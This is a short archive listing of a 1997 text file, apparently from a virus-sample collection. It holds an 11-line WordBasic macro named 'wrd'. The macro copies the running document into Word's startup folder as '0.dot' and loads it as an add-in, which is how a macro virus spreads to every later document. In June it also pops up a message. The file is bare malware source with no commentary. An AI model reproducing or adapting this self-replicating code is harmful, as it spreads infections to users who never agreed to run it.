home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / CCTX0397.ZIP / MVUPDAT8.ZIP / ZERO.ZIP / MACRO9.TXT < prev    next >
Text File  |  1997-02-17  |  200b  |  11 lines
  1. 'Macro name: wrd'
  2.  
  3. Sub MAIN
  4. a$ = DefaultDir$(8) + "\0.dot"
  5. If Files$(a$) = "" Then
  6. CopyFile FileName$(), a$
  7. AddAddIn a$
  8. EndIf
  9. If Month(Now()) = 6 Then MsgBox "Lisa, ich liebe dich!"
  10. End Sub
  11.